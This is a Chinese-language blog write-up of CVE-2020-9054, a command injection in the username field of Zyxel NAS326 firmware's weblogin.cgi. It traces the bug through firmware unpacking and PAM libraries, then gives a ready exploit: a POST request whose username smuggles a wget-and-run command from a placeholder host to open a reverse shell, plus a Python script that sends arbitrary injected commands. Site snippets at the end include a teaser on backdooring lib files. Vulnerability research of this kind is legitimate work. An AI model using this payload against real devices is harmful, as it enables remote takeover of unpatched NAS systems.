zyxel nas CVE-2020-9054 漏洞分析

VSole2021-10-26 16:17:28

 一.漏洞概述

CVE-2020-9054是由于可执行文件weblogin.cgi在身份验证期间未正确过滤username参数造成的,导致攻击者可以在传递给此文件的用户名中包含某些特殊字符来触发漏洞,进而以webserver的权限实现命令注入。

二.漏洞分析

官网下载Zyxel NAS326_V5.21(AAZF.0)C0版本固件,使用binwalk直接解包即可,定位到weblogin.cgi,使用ida打开ext-root-bin.cgi

通过

gcgiFetchStringNext("username", username, 63)

获取用户名,长度63(不知道输入超过63个行不行) 然后进入

 if ( user_auth(username, (int)password, (int)remote_addr, (int)v18, nptr, v8) >= 0 )// pam_authenticate()

调用

v20 = pam_authenticate(v18, 0x8000);

查找 pam_sm_authenticate() 函数

ubuntu@ubuntu:~/Desktop/zyxel/nas/NAS326_V5.21(AAZF.0)C0/_521AAZF0C0.bin.extracted/_71BEA9.extracted/ext-root$ grep "pam_sm_authenticate" -rBinary file usr/lib/libpam.so.0.83.1 matchesBinary file lib/security/pam_pidhome.so matchesBinary file lib/security/pam_auth_admin.so matchesBinary file lib/security/pam_guestok.so matchesBinary file lib/security/pam_cloud_step2.so matchesBinary file lib/security/pam_smbpass.so matchesBinary file lib/security/pam_nologin.so matches***Binary file lib/security/pam_uam.so matches***Binary file lib/security/pam_cloud_step1.so matches
定位文件lib/security/pam_uam.so,ida打开如下:

snprinf() 格式化username时,未作过滤,导致命令注入

三.漏洞利用

由于漏洞执行命令不能回显,使用下载执行,进行反弹:

POST http://ip/adv./cgi-bin/weblogin.cgi?username=admin';cd /tmp;wget http://xxx.xxx.xxx.xxx/re;sh re #&password=aaa
import requestsimport sysfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def exec_command(url, command):    injection = "admin';%s #" %(command)    data = {"password": "asdf",            "username": injection}    try:        r = requests.post(url=url, data=data, verify=False)    except Exception as e:        print (e)    print(r.text)
if __name__ == "__main__":    target = "https://x.x.x.x/r51201,/desktop,/cgi-bin/weblogin.cgi"    #for test    cmd ="wget x.x.x.x;"    exec_command(target, cmd)

有些网站的目录不一定时/adv./,需要自己登录访问观察下。

四.补丁对比

 参考

请及时更新固件!能利用CVE-2020-9054的Mirai新变种来袭:

https://www.6cu.com/seoxuetang/kj/2020/0328/47808.html

PAM详解:

http://blog.chinaunix.net/uid-29479952-id-5761558.html

poc test: https://kb.cert.org/artifacts/cve-2020-9054.html

lib文件lib
本作品采用《CC 协议》,转载必须注明作者和本文链接
lib文件在windows下有两种形式出现,第一种就是普通的静态库,第二种是作为dll的导入库。接下来我来分享一下如何在这两种lib文件中注入后门代码,使程序编译后生成的exe在运行时候自动。执行我们后门,并且不影响正常lib的功能。lib实际上就是一堆Obj文件打包在了一起,当然还有一些额外的信息,这个之后再说。
据我们所知,普通的WP File Manager和WP File Manager Pro版本均受到影响。该修复程序已在同一天发布,并且WP File Manager插件版通过删除允许未经授权的文件上传访问的端点来解决当前问题。通过选择良好的服务提供商,HTTPS的使用将包括在内,而无需支付任何额外费用,并且默认情况下处于启用状态。WordPress的统计数据表明,目前约有52%的安装易受攻击。由于File Manager的700,000个站点中已安装的漏洞中有一半以上,因此损坏的可能性很高。
依赖于特定硬件环境的固件无法完整模拟,需要hook掉其中依赖于硬件的函数。LD_PRELOAD的劫持对于特定函数的劫持技术分为动态注入劫持和静态注入劫持两种。网上针对LD_PRELOAD的劫持也有大量的描述
x64dbg插件编写基础
2023-04-13 09:28:19
② 脚本DLL,就是编写一个DLL导出 AsyncStart() or Start(),然后通过命令scriptdll/dllscript来加载DLL执行代码。在x64dbg的文档中并没有说明 "插件" 到底是一个什么东西,只是说插件的后缀名叫dp32或者dp64,通过观察其他的插件发现其实就是DLL,只不过是导出了一些指定函数的DLL。本文的目的就是说明编写x64dbg插件的步骤,然后编写一个简单的x64dbg插件。
Linux是目前应用最广泛的服务器操作系统,基于Unix,开源免费,由于系统的稳定性和安全性,市场占有率很高,几乎成为程序代码运行的最佳系统环境。linux不仅可以长时间的运行我们编写的程序代码,还可以安装在各种计算机硬件设备中,如手机、路由器等,Android程序最底层就是运行在linux系统上的。
CVE-2020-9054是由于可执行文件weblogin.cgi在身份验证期间未正确过滤username参数造成的。
file=2663◆测试环境:Ubuntu 18.04根据漏洞描述可得到几个关键词:远程命令执行、/lan.jsp页面、Device Name 参数、HTTP、POST、get set cpp。这里应该是一个POST请求提交数据。在文件系统中查找关键词并没有发现名为“get_set.ccp”的文件,没有“get_set.ccp”文件,这个URL应该是交给后端处理,处理好之后将结果返回给用户。在复现这个漏洞中发现2022年刚披露的信息和2023年有所不同,2022年的描述更具体,2023的变得模糊一些。刚开始以为是为了保护厂商,避免提示太明显容易被利用。
WEB安全梳理-操作系统
2022-08-10 07:16:03
WEB安全梳理-操作系统
前言随着前端技术的发展,业界涌现出了许多的UI组件库。例如我们熟知的ElementUI,Vant,AntDesign等等。本文将使用Vue3和TypeScript来编写一个组件库,使用Vite+Vue3来对这个组件库中的组件进行调试,最后使用vite来对组件库进行打包并且发布到npm上。最终的产物是一个名为kitty-ui的组件库。
IDA Pro是反汇编程序 反汇编程序用于将机器代码转换为人类可读的格式,称为汇编语言。我们每天使用的软件的源代码并不总是可用。像IDA Pro这样的反汇编程序能够创建其执行的映射,以显示处理器实际以称为汇编语言的...
VSole
网络安全专家